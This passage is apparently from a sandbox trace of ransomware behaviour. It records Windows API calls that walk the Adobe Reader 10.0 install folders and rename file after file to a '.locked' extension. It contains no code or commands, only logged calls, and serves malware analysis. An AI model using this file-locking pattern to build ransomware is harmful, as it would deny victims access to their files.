10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0085.146] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0085.150] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd5bd1300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd5bd1300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0085.220] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0085.263] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0085.365] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0085.371] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd5de6640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd5de6640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0085.428] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0085.464] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0085.565] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0085.607] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0085.721] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0085.817] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0085.821] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6236e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6236e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0085.920] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0085.955] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0086.001] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0086.046] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0086.155] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0086.543] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0086.545] FindClose (in: hFindFile=0x8259d0 | out: hFindFile=0x8259d0) returned 1 [0086.654] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf.locked"), dwFlags=0x2) returned 1 [0086.659] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a3f860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a3f860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0086.662] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a3f860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a3f860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.667] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a3f860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a3f860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.670] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a3f860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a3f860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.674] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a659c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a659c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.677] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a659c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a659c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.681] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a659c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a659c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.684] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a659c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a659c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.689] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a659c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a659c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.692] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a8bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a8bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.696] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a8bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a8bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.699] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a8bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a8bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0086.703] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6a8bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6a8bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0086.705] GetFileType (hFile=0xd4) returned 0x1 [0086.706] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6ab1c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6ab1c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f3, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0086.708] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer.locked"), dwFlags=0x2) returned 1 [0086.713] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der.locked"), dwFlags=0x2) returned 1 [0086.714] GetFileType (hFile=0xc4) returned 0x1 [0086.715] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6ab1c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6ab1c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0086.749] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg.locked"), dwFlags=0x2) returned 1 [0086.817] GetFileType (hFile=0xc4) returned 0x1 [0086.818] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6bbc620, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6bbc620, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0086.823] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6bbc620, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6bbc620, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0086.828] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif.locked"), dwFlags=0x2) returned 1 [0086.831] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif.locked"), dwFlags=0x2) returned 1 [0086.833] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif.locked"), dwFlags=0x2) returned 1 [0086.837] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif.locked"), dwFlags=0x2) returned 1 [0086.840] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif.locked" (normalized: 